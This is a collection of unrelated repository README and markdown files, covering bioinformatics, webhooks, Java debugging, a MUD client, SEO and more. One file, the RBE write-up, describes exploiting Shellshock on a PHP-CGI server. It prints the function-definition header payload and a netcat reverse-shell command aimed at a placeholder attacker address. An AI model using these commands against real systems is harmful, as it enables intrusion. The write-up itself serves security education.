text:
# SamTools service {#samtools_service_guide}

The SamTools service allows the Grassroots Server to use the functionality provided by [Samtools](http://www.htslib.org) by Heng Li *et al.*.
Currently it has the ability to retrieve a complete named scaffold from some sequence data.

## Installation

To build this service, you need the [grassroots core](https://github.com/TGAC/grassroots-core) and [grassroots build config](https://github.com/TGAC/grassroots-build-config) installed and configured.

The files to build the SamTools service are in the ```build/<platform>``` directory.

### Linux

Enter the build directory

```
cd build/linux
```

and create a *user.prefs* file.

```
cp example-user.prefs user.prefs
```

You will need to edit this file to configure where the SamTools dependencies are stored. The file content is similar to the following

```
#
# samtools dependencies
#
# Set this to where you have the htslib directory
# containing "include" and "lib" subdirectories.
export HTSLIB_HOME := $(DIR_GRASSROOTS_EXTRAS)/htslib
```

Adjust the ```HTSLIB_HOME``` to where you have htslib installed. You can then build the service by typing

```
make all
```

and then

```
make install
```

to install the service into the Grassroots system where it will be available for use immediately.

## Configuration options

The service can be configured by a file with the same names in the ```config``` directory in the Grassroots application directory, *e.g.* ```config/SamTools```.

* **index_files**: This is an array of objects with each consisting of two key-value pairs.
 Either option is sufficient when attempting to run the SamTools service.

 * **Blast database**: The name of the Blast database file that SamTools can run against.
 * **Fasta**: The Fasta file that the Blast database was generated from.

repository: TGAC/grassroots-service-samtools

repo_name: TGAC/grassroots-service-samtools


text:
# Lyophyllopsis keralensis Sathe & J.T. Daniel, 1981 SPECIES

#### Status
ACCEPTED

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
Maharashtra Association for the Cultivation of Science, Monograph No. 1 Agaricales (Mushrooms) of South West India (Pune) 1: 87 (1981)

#### Original name
Lyophyllopsis keralensis Sathe & J.T. Daniel, 1981

### Remarks
null

repository: mdoering/backbone

branch_name: refs/heads/master

extension: md

license_type: permissive

repo_name: mdoering/backbone


text:
---
layout: post
title:      "'Fetch me if you can'"
date:       2018-05-29 22:17:59 -0400
permalink:  fetch_me_if_you_can
---

The transition from XMLHttp requests to fetch() requests can be seen as a part of a comprehensive conceptual paradigm shift, the objective being improved user experience, essentially speed. Where React, instead of manipulating HTML, turns websites into fast and flexible JavaScript applications, similarly Fetch API allows us to write code that is not only cleaner, but also considerably faster. The code is cleaner and simpler because we don’t have to create an XHR object, handle the complexity of callback functions that we must pass to the asynchronous functions, and deal with the exposure to all kinds of errors due to all this complexity. A fetch() request also looks more logical and therefore is more readable.

From the point of view of speed and user experience, the important thing is that a Fetch API request allows us to asynchronously execute actions without waiting for the request to actually return the result. Instead, a fetch() request returns a hypothetical object called Promise – hypothetical because no real object has yet been returned, so the Promise object acts as a kind of a placeholder. When the Promise is successfully fulfilled, a .then method is always called and moves on with the sequence of the actions.

Most importantly, and this is particularly useful in action creators in React/Redux, if we make a fetch() request a part of an action creator function, the function doesn’t wait for the Promise to be fulfilled. Instead it jumps right to the next step, and then returns to the result of the request to resolve the Promise with the .then method, which means that the user doesn’t have to wait in the meantime for the Promise to be resolved. That is why in the following example:

```
  const callApi = () => {
    console.log('a')
    fetch('http://localhost:3001/recipes')
    .then(response => {
      console.log('b')
      return response.json()
    })
    .then(responseJSON => console.log('c', responseJSON))
    .catch(err => console.log('d', err))
    console.log('e')
```

‘a’ is logged to the console first, upon invoking the function; after that the fetch() request is made, but instead of waiting for the result of the request, the function goes ahead and logs ‘e’ to the console, although this action is seemingly the last one. And only after that it jumps back to the Promise, and when it is fulfilled, .then it logs ‘b’ and .then it logs ‘c’ + JSON (if the request is successful) or ‘d’ (if it failed).

extension: markdown


text:
## Description

It is a basic front-end for a pizza parlour.  It has a method to calculate the number of slices using the size (in inches) of the pizza and type (cheese pizzas have larger slices) that the user would like to create.  It also allows for cheese or pepporoni for toppings.

## Setup Instructions

Git clone the repository.  Check out the specs by:
```bash
open ./spec/spec_runner.html
```
Run the site using:
```
open ./pizza.html
```

## Copyright

© Jeyananthan Sivakumaran 2015

## License

MIT License

license: MIT


text:
# Exercise 2: Java Basics

Java is the language we will use for development in both SwEng and SDP.
These exercises will help get you started with Java, or provide a review if you have used it before.
More specifically, you will learn how to compile Java code, run and debug it from the command line.

## Prerequisites

First, you should complete at least Part 1 of the SwEng [bootcamp](https://github.com/sweng-epfl/Bootcamp).
Ensure that Java has been successfully installed on your machine.
Open a command line and run:

```sh
javac -version
```

Should return the Java compiler version you have installed.

Check that the Java debugger `jdb` is also installed:

```sh
jdb
Initializing jdb ...
> quit

```

## Exercise 2.1: Compiling Java

Copy the following code into a file `TestProgram.java`.
You can use whatever working directory you like.

```java
public class TestProgram {

  public static void main(String[] args) {
    // array to sum
    int[] numbers = new int[]{ 1, 2, 3, 4, 5};

    int sum = 0;

    for (int i=0; i < numbers.length ; i++) {
      sum = sum + numbers[i];
    }

    System.out.println("Sum value of array elements is : " + sum);
  }

}
```

It's a simple program that sums values in an array.

Compile the program:

```sh
javac TestProgram.java
```

Run the program:

```sh
java TestProgram
Sum value of array elements is : 15
```

## Exercise 2.2: The Debugger is Your Best Friend

Imagine you run your freshly compiled program.
It doesn't output the correct result, or the program crashes.

How do you figure out what's going wrong? You need to _debug_ your program.

Typically there are two ways to do so.

1. Put print statements all over your program to track progress and understand "where" in the code the bug is. This is called "printf" debugging, and can be effective.
2. Use a _debugger_, a tool that allows you to stop execution at predetermined code locations and examine the state of your program (and much more).

### Exercise 2.2.1: Printf debugging

Modify the above array summation program with println statements to track the values of `sum` and `numbers[i]` throughout the loop iterations. Recompile and run the program, and you should see something like this:

```sh
current sum value is : 1, current numbers[i] is 1
current sum value is : 3, current numbers[i] is 2
current sum value is : 6, current numbers[i] is 3
current sum value is : 10, current numbers[i] is 4
current sum value is : 15, current numbers[i] is 5
Sum value of array elements is : 15
```

### Exercise 2.2.2: Use the Debugger

Now you will use the debugger to examine these values live, while the program runs.

First, recompile your program with the `-g` flag. This tells the compiler to add extra information to the class file so that the debugger is aware of local stack variables.

```
javac -g TestProgram.java
```

Run the program with jdb, the Java debugger.

```sh
jdb TestProgram
Initializing jdb ...
>
```

The debugger has many commands, but we will review a few basic ones to get you started.
At this point, the program is not being run yet. You can run it with the `run` command, but you want to stop execution at some point so you can examine variable values. You can do this with a _breakpoint_. In jdb, use the `stop` command:

```
> stop in TestProgram.main
Deferring breakpoint TestProgram.main.
It will be set after the class is loaded.
```

(You can also use `stop at <classname>:<line>` to break at a specific line in the code.)

Now the program will stop in function `main` in class TestProgram if and when it reaches that point.

Run the program:

```
> run
run TestProgram
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
>
VM Started: Set deferred breakpoint TestProgram.main

Breakpoint hit: "thread=main", TestProgram.main(), line=5 bci=0
5        int[] numbers = new int[]{ 1, 2, 3, 4, 5};

main[1]
```

Execution has stopped. Use `list` command to view the source code where the program has stopped:

```
main[1] list
1    public class TestProgram {
2
3      public static void main(String[] args) {
4        // array to sum
5 =>     int[] numbers = new int[]{ 1, 2, 3, 4, 5};
6
7        int sum = 0;
8
9        for (int i=0; i < numbers.length ; i++) {
10          sum = sum + numbers[i];
```

You can now execute the program line by line using the `next` command. `next` until you are at line 9, at the beginning of the for loop. `list` should show:

```
5        int[] numbers = new int[]{ 1, 2, 3, 4, 5};
6
7        int sum = 0;
8
9 =>     for (int i=0; i < numbers.length ; i++) {
10          sum = sum + numbers[i];
11          System.out.println("current sum value is : " + sum + ", current numbers[i] is " + numbers[i]);
12        }
13
14        System.out.println("Sum value of array elements is : " + sum);
```

The `print` command can be used to show the values of in scope objects. Try `print`ing some local objects.

```
main[1] print numbers[0]
 numbers[0] = 1
main[1] print sum
 sum = 0
 ```

Now, step through the for loop and use `print` to examine how the values change across loop iterations. You can also use the `locals` command to print all variables in the local scope.

The `cont` command will continue execution, either until another breakpoint is hit, or the program terminates (or crashes).

At any time you can use the `help` command to see all available commands in jdb.

This exercise has covered just a few basics that should enable you to effectively debug your Java programs. You can find another basic tutorial [here](https://docs.oracle.com/javase/9/tools/jdb.htm#JSWOR-GUID-B801F121-35B5-4FE2-A307-950412CE4E99) and a more comprehensive one [here](https://www.tutorialspoint.com/jdb/).

repository: CeliaBenquet/public

repo_name: CeliaBenquet/public


text:
# Run macro on every visual selected lines

1. Select lines in visual mode
2. Hit `:` to produce `:'<,'>` on the command line
3. Type `normal` follow by the register

```
:'<,'>normal @q
```

repository: siwatpru/til

repo_name: siwatpru/til


text:
# terraform-OCI

This folder is designed to accompany the [Oracle Python4ATP HOL](https://github.com/edercervantes/learning-library/tree/master/workshops/python4atp).

**Instructions for running the folder**

- All you need to do is download the zip file from this repository.

-For debugging, see the following resources:

[FAQ for the Oracle Cloud Infrastructure Terraform provider](https://www.terraform.io/docs/providers/oci/guides/faq.html)

[Oracle Cloud Infrastructure Provider](https://www.terraform.io/docs/providers/oci/index.html)


text:
# Receiving Events

In many cases, in addition to sending events to Remarkety, you'd also like to be informed on actions that Remarkety
performs or knows about, such as email sends, opens, clicks and unsubscribes.

Remarkety supports publishing these events via JSON webhooks. You supply an SSL (https) endpoint, and we will POST
events to that endpoint as detailed below.

## Setup
Setup your receiving endpoint in your Remarkety Settings page.

## Webhook Structure

```http
POST /endpoint.yoursite.com HTTP/1.1
X-Event-Hmac-SHA256: 4293d6f6232a9d346fbd5da0ba0c9a86851675507b750509373f227414f3cb98
X-Event-Topic: newsletter/subscribed
Content-Type: application/json
User-Agent: Remarkety
Cache-Control: no-cache

{
	"email"<EMAIL_ADDRESS>	"ip_signup": "<IP_ADDRESS>",
	"ip_opt": "<IP_ADDRESS>",
	"properties": {
		"first_name": "John",
		"last_name": "Doe",
		"campaign": "Lead gen #3"
	}
}
```

Our POST to your endpoint will have the structure shown on the right:

### Headers
 Header | Purpose
 ------ | -------
 `X-Event-Hmac-SHA256` | Message digest for authentication - see below
 `X-Event-Topic` | The event topic, or type

### Body
The request body will contain JSON-formatted text as detailed in the topics below.

## Authentication
```php
<?php
define('SHARED_SECRET', '<shared secret>');

function verify_webhook($data, $hmac_header)
{
  $calculated_hmac = base64_encode(hash_hmac('sha256', $data, SHARED_SECRET, true));
  return hash_equals($hmac_header, $calculated_hmac);
}

$hmac_header = $_SERVER['HTTP_X_EVENT_HMAC_SHA256'];
$data = file_get_contents('php://input');
$verified = verify_webhook($data, $hmac_header);
if ($verified) {
    $payload = json_decode($data);
    $eventTopic = $_SERVER['HTTP_X_EVENT_TOPIC'];
} else {
    error_log("Invalid signature");
}
```

In order to verify that the request came from Remarkety, you can use the X-Event-Hmac-SHA256 header, which includes
a digital signature of the message contents (body only - not including the headers). We create the signature using the
Shared Secret provided in the app. On the right is a PHP example on how to verify the signature.

## Retries and Errors
We expect your endpoint to respond within 5 seconds with a 2xx return code. In case the request exceeds the timeout or
returns with a 5xx error code, we will continue retrying in increasing intervals, for 2 hours. If we fail after 2 hours,
we will stop retrying and will send an email to the account administrator.

# Event Topics and Payloads

Common fields:

   Field | Purpose
   ----- | -------
   timestamp | The timestamp of the event itself
   email | The recipient's email address (cc or bcc will not trigger events)
   campaign_name | The plain-text name of the campaign that triggered this email
   campaign_group | The plain-text name of the campaign group
   campaign_id | The internal Remarkety id of the campaign
   umk | A unique identifier per email message
   useragent | The useragent header as sent by the recipient's email client
   ip | The ip address of the recipient

## email/sent

```json
{
  "timestamp": "2018-04-12T12:50:00+00:00",
  "email"<EMAIL_ADDRESS>  "campaign_name": "Abandoned cart #1",
  "campaign_id": 13118,
  "umk": "5acf31d0b22410.937575625acf31d0b"
}
```

Sent when an email is sent to the recipient.

## email/clicked

```json
{
  "timestamp": "2018-04-12T12:50:00+00:00",
  "email"<EMAIL_ADDRESS>  "campaign_name": "Abandoned cart #1",
  "campaign_id": 13118,
  "umk": "5acf31d0b22410.937575625acf31d0b",
  "link_url": "https://my.website.com/some-page",
  "useragent": "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)",
  "ip": "<IP_ADDRESS>"
}
```

Sent when a recipient clicks on a link inside an email

## email/opened

```json
{
  "timestamp": "2018-04-12T12:50:00+00:00",
  "email"<EMAIL_ADDRESS>  "campaign_name": "Abandoned cart #1",
  "campaign_id": 13118,
  "umk": "5acf31d0b22410.937575625acf31d0b",
  "useragent": "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)",
  "ip": "<IP_ADDRESS>"
}
```

Sent when an email is opened. This is not 100% correct because open tracking is done via images, which are sometimes blocked
and sometimes opened by the receiving mail server and not the actual, human recipient.

## email/delivered
```json
{
  "timestamp": "2018-04-12T12:50:00+00:00",
  "email"<EMAIL_ADDRESS>  "campaign_name": "Abandoned cart #1",
  "campaign_id": 13118,
  "umk": "5acf31d0b22410.937575625acf31d0b"
}
```
Sent when the recipient's email server acknowledges receipt of the message. This does not necessarily mean that the email
reached the inbox.

## email/bounced

```json
{
  "timestamp": "2018-04-12T12:50:00+00:00",
  "email"<EMAIL_ADDRESS>  "campaign_name": "Abandoned cart #1",
  "campaign_id": 13118,
  "umk": "5acf31d0b22410.937575625acf31d0b",
  "reason": "554 5.4.14 Hop count exceeded - possible mail loop ATTR34 [SN1NAM04FT063.eop-NAM04.prod.protection.outlook.com]",
  "soft_bounce": true
}
```

Sent when the receiving email server does not accept the message. May signal a soft bounce (for example: mailbox full)
or a hard bounce (address doesn't exist).

## email/spam

```json
{
  "timestamp": "2018-04-12T12:50:00+00:00",
  "email"<EMAIL_ADDRESS>  "campaign_name": "Abandoned cart #1",
  "campaign_id": 13118,
  "umk": "5acf31d0b22410.937575625acf31d0b"
}
```

Sent when an email is marked as spam. Not all email servers send back a spam notification, gmail in particular does *not*.

## email/unsubscribed

```json
{
  "timestamp": "2018-04-12T12:50:00+00:00",
  "email"<EMAIL_ADDRESS>  "campaign_name": "Abandoned cart #1",
  "campaign_id": 13118,
  "umk": "5acf31d0b22410.937575625acf31d0b"
}
```

## newsletter/subscribed

```json
{
  "timestamp": "2018-04-12T12:50:00+00:00",
  "optin_timestamp": "2018-04-12T12:55:00+00:00",
  "email"<EMAIL_ADDRESS>  "signup_ip" : "<IP_ADDRESS>",
  "optin_ip": "<IP_ADDRESS>"
}
```
Sent when a customer's marketing preferences changes to "yes", either by signing up to a popup, by an API call, or by an
admin in the app. `signup_ip` (optional) is the IP address used to initially sign up the user (might a server IP if this was an API call).
`optin_ip` (optional) is the IP used to click the "confirm email" link in the double opt-in email, if sent.

## sms/sent

```json
{
  "timestamp": "2020-07-19T10:12:15.296Z",
  "email"<EMAIL_ADDRESS>  "campaign_name": "Welcome Campaign",
  "campaign_id": "111112",
  "umk": "5acf31d0b22410.937575625acf31d0b",
  "characters_count": 92,
  "body": "Sample message content.",
  "to": "+15417540000",
  "from": "+15417541111",
  "is_test": false,
  "recipient_country_code": "US"
}
```
Sent when an SMS is sent to the recipient.
campaign_id, campaign_name and umk are all optional fields, if the massage was sent by a system message (double opt-in confirmation, unsubscribe confirmation, etc.) these fields will not get included in the JSON.

## sms/clicked
```json
{
  "timestamp": "2020-07-19T10:12:15.296Z",
  "to": "+15417540000",
  "from": "+15417541111",
  "email"<EMAIL_ADDRESS>  "campaign_name": "Welcome Campaign",
  "campaign_id": "111112",
  "umk": "5acf31d0b22410.937575625acf31d0b",
  "is_test": false,
  "ip": "<IP_ADDRESS>",
  "user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
  "url": "https://www.remarkey.com"
}
```

Sent when an SMS link with Remarkety's short URL was clicked.
campaign_id, campaign_name and umk are all optional fields, if the massage was sent by a system message (double opt-in confirmation, unsubscribe confirmation, etc.) these fields will not get included in the JSON.

## sms/replied
```json
{
  "to": "+15417540000",
  "from": "+15417541111",
  "body": "Message content body"
}
```

Triggered when someone sends a message to one of your phone numbers that purchased via Remarkety.

## sms/unsubscribed

```json
{
    "timestamp": "2018-04-12T12:50:00+00:00",
    "email"<EMAIL_ADDRESS>    "campaign_name": "Abandoned cart #1",
    "campaign_id": 11111,
    "umk": "5acf31d0b22410.937575625acf31d0b",
    "phone_number": "+15417543010",
    "reason": "Unsubscribed via link"
}
```

Sent whenever an SMS contact is unsubscribed, by replying to the account's incoming number or by clicking an unsubscribe link.
campaign_id, campaign_name and umk are all optional fields, if the contact unsubscribed by replying to your incoming number, these fields will not get included in the JSON.

## email-suppression/added

```json
{
  "timestamp": "2018-04-12T12:50:00+00:00",
  "email"<EMAIL_ADDRESS>  "client_ip": "<IP_ADDRESS>",
  "type": "unsubscribed",
  "reason": "Recipient unsubscribed"
}
```

Sent when an email is added to the suppression list and will not receive any marketing emails from now on.

The email address can be added multiple times to the suppression list with different suppression types.

#### Suppression types
* unsubscribed
* manually_suppressed
* hard_bounce
* soft_bounce
* spam_complaint
* pending_opt_in
* domain_suppressed
* deleted
* suspected_as_spam

## email-suppression/removed

```json
{
  "timestamp": "2018-04-12T12:50:00+00:00",
  "email"<EMAIL_ADDRESS>  "client_ip": "<IP_ADDRESS>",
  "type": "unsubscribed",
  "reason": "Customer re-subscribed"
}
```

Sent when an email is removed from the suppression list.

The email address can be added multiple times to the suppression list with different suppression types, when a specific type is removed the email might still be in the list with a different suppression type.

repository: remarkety/slate

gha_language: SCSS

repo_name: remarkety/slate


text:
# Mudwyrm

Mudwyrm is an extensible HTML5/Websocket MUD client written and scripted in Python.

It's split into three packages:
  - [`mudwyrm`](https://github.com/voidseeker/mudwyrm) - web server built with [Pyramid](http://www.pylonsproject.org/) framework.
    Deals with user authentication, serves UI and user content to the browser.
    Also contains simple HTML5 script editor based on [Ace](http://ace.ajax.org/).
  - [`mudwyrm_engine`](https://github.com/voidseeker/mudwyrm_engine) - websocket server.
    The core component. Acts as a proxy between game (MUD) servers and websocket clients running on the users' browsers. Executes the user scripts. Uses [gevent](http://www.gevent.org/).
  - [`mudwyrm_users`](https://github.com/voidseeker/mudwyrm_users) - user content collection.
    Each user has a separate module inside this package that contains their scripts, data and UI files (HTML/CSS/JS that gets sent to the browser).
    With this, every user can not only have their own scripts for the game they play, but also fully customize the interface they see.

Although it does work, Mudwyrm is far from being finished and hasn't been developed since 2010, and I hope to get back to it in the future, but for now, here's the code.

## Features

  - **Thin client.**
    Due to the fact that the server acts as a proxy between the client (the webpage in the browser) and the MUD server, almost all the client does is display the data that comes from the server and send back the user input.
    This can make for a better user experience when playing on mobile devices, as it reduces hardware requirements (due to the client not having to parse text and execute scripts) while potentially improving the responsiveness (the server machine usually has better connection to the MUD server with lower latency than a mobile phone would if it had been connecting to the MUD directly).

  - **Multiuser support.**
    One server can handle multiple clients, and each user can have several games they are playing - the server keeps the files and settings for every game setup separately.

  - **Python scripting.**

  - **Customizable UI.**
    Users can fully customize the page by providing their own HTML/CSS files and writing JS plugins (like a health meter or a Canvas map of an area around the player).

  - **Built-in script editor** based on [Ace](http://ace.ajax.org/) lets the users edit their scripts and UI files right in the browser.

## Screenshots

![Game selection menu](https://dl.dropbox.com/u/4321724/mudwyrm/game-menu.png)
![Connecting to MUD](https://dl.dropbox.com/u/4321724/mudwyrm/connecting-to-mud.png)
![Gameplay 1](https://dl.dropbox.com/u/4321724/mudwyrm/gameplay-1.png)
![Gameplay 2](https://dl.dropbox.com/u/4321724/mudwyrm/gameplay-2.png)
![Code editor](https://dl.dropbox.com/u/4321724/mudwyrm/editor.png)

## Installation

Put all three packages in the same directory:

    $ git clone https://github.com/voidseeker/mudwyrm.git
    $ git clone https://github.com/voidseeker/mudwyrm_engine.git
    $ git clone https://github.com/voidseeker/mudwyrm_users.git

Install each of them in development mode:

    $ cd mudwyrm
    $ python setup.py develop
    $ cd ../mudwyrm_engine
    $ python setup.py develop
    $ cd ../mudwyrm_users
    $ python setup.py develop

Run the web server:

    $ cd ../mudwyrm
    $ pserve development.ini

Start the websocket server:

    $ cd ../mudwyrm_engine
    $ gunicorn -c config.py mudwyrm_engine:app

Alternatively, launch both servers at once with foreman:

    $ cd ../mudwyrm
    $ foreman start

Finally, open http://localhost:6543/ in the browser to play.
Log in as 'admin' with the password 'admin' to access the example scripts and UI that are provided within `mudwyrm_users` package.

## License

Copyright 2010 Shamil Fattakhov.

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

repository: Cloudxtreme/mudwyrm

repo_name: Cloudxtreme/mudwyrm


text:
RBE
===

Remote Bash Execution

This POC (proof of concept) is for EDUCATIONAL PURPOSES ONLY! Please, do not use it with wrong intents in mind.

We set up a simple PHP website and a Python executable that exploits the [bash shellshock vulnerability](http://arstechnica.com/security/2014/09/bug-in-bash-shell-creates-big-security-hole-on-anything-with-nix-in-it/).

Development
=============
Please note that all the following tests were done in a local controlled environment for educational purposes only. Do NOT do this at home!
- Initially, we tested the vulnerability on our environments with the following command (see the link above for the source):

 `env x='() { :;}; echo vulnerable' bash -c "echo this is a test"`

- Next, we set up an http server on a CentOS machine with Apache and php-cgi running a very simple script (see index.php).

- We started out by sending simple crafted HTTP packets that echoed text (inspired by [this blog post](http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VCNinnVdW00). The JOY when it worked!

- We then tested more elaborate commands to discover what we had access to. In our case, typing the command names as an apache user would not resolve the commands, yet calling them explicitly (`/usr/bin/command`) worked. We were then able, for example, to run `find` commands and see all the files we had access to.

- At this point, it was annoying to type the commands individually. Fortunately, `nc` was installed on the server, so we used a reverse bind shell (`nc -lvp xxx` for the attacker and `nc -e /usr/bin/sh atckr_addr port` for the victim) for flexibility. At this point, we had a shell on the system, but running as an apache user, all through a single HTTP packet with the right (or wrong?) headers.

- To simplify the process, we made a python script (in this repo) that calls netcat automatically.

Impact
======
With a shell on the victim's computer (limited as much as the apache user is on the machine), here is what we believe an attacker could do at this point:

- In our case, we only had write access to /tmp (which was actually a subdirectory within the real /tmp), so no straightforward way for a permanent backdoor.

- We had access to the source code, which could be leaked afterwards.

- Depending on the setup (and knowledge of the attacker), one could privilege escalate and break the apache jail.

- Once inside, we can easily DDoS the system (which can hurt companies). We experienced this ourselves by playing around with `cat /dev/urandom/ > file`.

- We can DDoS another target (the initial target most likely has more firepower than an average system).

- We had access to the LAN, which could give access to new computers behind the firewall.

We probably are missing many other potential attack vectors here, but that is what we observed given a one-night hack-a-ton.

Therefore, we can see the major impact that CVE-2014-6271 ("shellshock") has.

The Exploit
===========
Given our limited knowledge of bash internals and the short time window that we had, here is what we understood of the exploit:

- When bash reads an environment variable containing a specially crafted function (i.e. `() { :; };`), it also executes the commands following the function definition (e.g. `echo hacked`).

- This can not really be exploited remotely by itself, it needs software that takes user input as a source for environment variable values.

- So, when php-cgi is started by Apache through bash (which looks like the default behavior), certain HTTP headers are passed through env (e.g. referer, host, cookies, etc.). However, not all CGIs pass these values through env (e.g. FastCGI communicates through sockets), so they are not all affected (we tested it!)

- Now, given carefully crafted HTTP headers (such as `() { :; }; echo hacked`), the next instruction through bash (e.g. a PHP `exec()`) will trigger the vulnerability.

Conclusion
==========
Finally, this was a very entertaining and rewarding experience. We clearly saw how dangerous this vulnerability is. For example, we have read about other software than Apache that can be used to exploit bash, such as DHCP clients. A clever attacker could start a malicious DHCP server in proximity of the victims and gain root access on the systems (as the dhcp client will execute the command as root).

Interestingly, we were surprised while testing the exploit: our reverse bind shell through nc was not interrupted when the connection with Apache is timed out. We expected the connection to be closed, but the actual behavior ended up being convenient.

We want to emphasize the fact that this was for educational purposes only. Please do not use with malicious intent.

This analysis was brought to you by [/JesseEmond](https://github.com/JesseEmond) and [/Parasithe](https://github.com/Parasithe).

repository: DrPandemic/RBE

repo_name: DrPandemic/RBE


text:
#MODULE 1
Ok so for this time through I didn't really "Fail" going through module one except when I tried running a command in the linix shell with the â$â still part of the string. Also Iâm adding this file late as I really felt like I need to mention something
The reason I donât have a âFailâ doing the stuff in module one is only because I went through that phase before with linix and github in my first year of computer science. Both I tried using and both I failed to use then. Since it is public you can actually see my first attempt using github in the Databae repository. Also, Github I might not use the windows app still as I just canât seem to get all of it to work seamlessly. Oddly enough though I donât mind using it in visual studio where I have been working on my honors project.
However, when reading about Github module Dr. Grahams wrote I realise when using Github I need to utilise more of the features like branching! Letâs just say reading Dr. Grahamâs comment on making a branch made me feel like I âfailedâ as I have gone on many branches in my honours project. Only to go back to the original work not saving the work I had done in my branch. Then of course I think latter on âoh I should have kept that work just in case I was doing something rightâ¦â¦â

#MODULE 2

#Exercises 1: The Dream Case
Epigraphic Database
	Searched: Figlin*
	URL: http://edh-www.adw.uni-heidelberg.de/inschrift/suche?hd_nr=figlin*&land=&fo_antik=&fo_modern_fundstelle=&literatur=&dat_jahr_a=&dat_jahr_e=&hist_periode=&atext1=&bool=AND&atext2=&sort=hd_nr&anzahl=20
	- wrong search box used
	URL: http://edh-www.adw.uni-heidelberg.de/inschrift/suche?hd_nr=&land=&fo_antik=&fo_modern_fundstelle=&literatur=&dat_jahr_a=&dat_jahr_e=&hist_periode=&atext1=figlin*&bool=AND&atext2=&sort=hd_nr&anzahl=20
Results stored at https://github.com/vanstab/hist3814o/blob/master/Module%202/edh.csv
Removed quotes from line 27 to attempt to make searchable, another error was found after fix was applied.
CWCG
Searched:
surname: vanstarkenburg, starkenburg which turned up zero results
Searched wifes last name instead that served with the united kingdom forces in the merchant navy
URL:http://www.cwgc.org/find-war-dead.aspx

path: /Module 2/faillog.md


text:
---
layout: post
title: 'ELI5 Guide: Search Engine Optimization'
date: 2020-08-05T05:00:00.000+00:00
author: Mark Fleming
description: The ELI5 guide to search engine optimization is the complete beginner's
  guide to understanding on page and off page SEO factors.
image: assets/eli5-seo.png
image-alt: ELI5 SEO
category: Blog
tags: seo website digital-marketing strategy analytics

---
Search engine optimization ... that fancy phrase you have heard about for years. You know it’s important, but do you really know how it works? In this "Explain like I am Five" (ELI5) Guide, I will explain everything you need to know to get your website SEO optimized.

## What is SEO?

SEO is short for “search engine optimization.” Simply put, this is the process of improving your webpage’s search result visibility. With millions of results for every search engine query, SEO helps your page rank for certain keyword phrases. Unlike Search Engine Marketing campaigns (SEM) that involve managing paid ads, SEO is an “organic," unpaid process. This means that you cannot pay for a higher position; you must earn it by playing by the search engine’s rules.

## Why are search engine rankings important?

High ranked pages get a lot more traffic than low ranked pages. More traffic = more sales and visibility.

To better understand the decay that occurs from high position to low position pages, let’s consider some research. In analyzing over five million SERPs, a [Backlinko study](https://backlinko.com/google-ctr-stats) found that:

* Top position results get 31.7% of all clicks
* Top three position results get 75.1% of all clicks
* Second page results and beyond get only 0.78% of all clicks (Yikes!)

Your search engine result position has a huge impact on traffic. By understanding how these positions are determined, you can give yourself the competitive advantage over less savvy competitors.

## On-page SEO and Off-page SEO

Now that we know what SEO is and why it’s important, you may be wondering: what factors influence SEO? Let’s lift the hood up and look around.

SEO is separated into two buckets: On-page SEO and Off-Page SEO. On-page SEO consists of factors _within your website’s code_. You have lots of control over these factors, and optimizing them will improve how users experience your website.

On the other hand, Off-page SEO occurs _outside your website’s code_, where you have less control. This balance of controlled on-page and uncontrolled off-page factors check and balance one another. If your strategy does not consider both of these categories, your website is less likely to earn that elusive top position.

## On-Page SEO Checklist:

### Content Factors

As discussed in the previous section, on-page SEO is what you control. As so, content factors are very important for SEO rankings, distinguishing yourself from competitors, and getting searchers to click on your page.

![Google Results Description]({{ site.baseurl }}/assets/title-and-meta-tag.png)

#### Title Tag

A title tag is the title of the page. While it should hook users in, it must be _unique_ and _descriptive_ of page contents. Here are some key considerations:

* **Keywords:** By including relevant keywords within the title, search engine will better understand your content. For example, the title “20 Best Men’s Shoes for Hiking in 2020 - Bob's Shoe Store” gives a very good idea of what an article will be about. It also includes keywords that will likely appear within the body of the article. That's a good title.
* **Ideal length:** 50-60 characters. If a webpage is longer, Google will cut off the article at the points where it runs over the character limit. This make makes the title hard to read, which decreases clickthrough rates.
* **Branding:** Many websites include branding at the end of their title tag (see "Bob's Shore Store" above. This helps improve your branding, but it also helps rank the page for search queries related to your organization.

#### Meta Description

A meta description is the description of the page. Think of this as a one sentence description for the page. Here are some key considerations:

* **Keywords:** Like title tags, strategically use the keywords you want to target here, but also make sure they appear within the body of the page.
* **Ideal Length:** \~ 150 characters. If it's much shorter, you are missing out on including keywords. If it's too long, the search engine will cut you off like the Walt Disney example above.

#### Heading tags

In a website, there are typically 6 levels of HTML heading tags that are used on a webpage (
,
,
, etc.).  While h1 is usually the title of the page, the other subheadings help the search engine organize content.

Use these heading tags to break content into sections and further embed keywords. If you scan this page, you will see that I am using a wide range of headings to nest subtopics within topics.

#### Good Content

Every SEO guide will recommend writing good content as the #1 priority for a website. I agree. But what exactly makes "good" SEO content? At its core, this is writing that is clear and makes users want to keep reading. Think of great articles or books you've read. That's what you should aim for first.

After that, you should consider keyword planning. Keyword planning involves using a tool like [Google Keyword Planner](https://ads.google.com/home/tools/keyword-planner/ "Google Keyword Planner") to identify keywords and keyword phrases with high traffic and low competition. By appropriately incorporating such keywords into your page, users can discover better content and your website can earn a higher position.

* **Writing quality:** Employ proper grammar, punctuation, etc. Also, apply good style that can be understood by as many audiences as possible.
* **Ideal Article Length:** Recommendations vary on this, but the sweet spot tends to be 500-2,000 words.
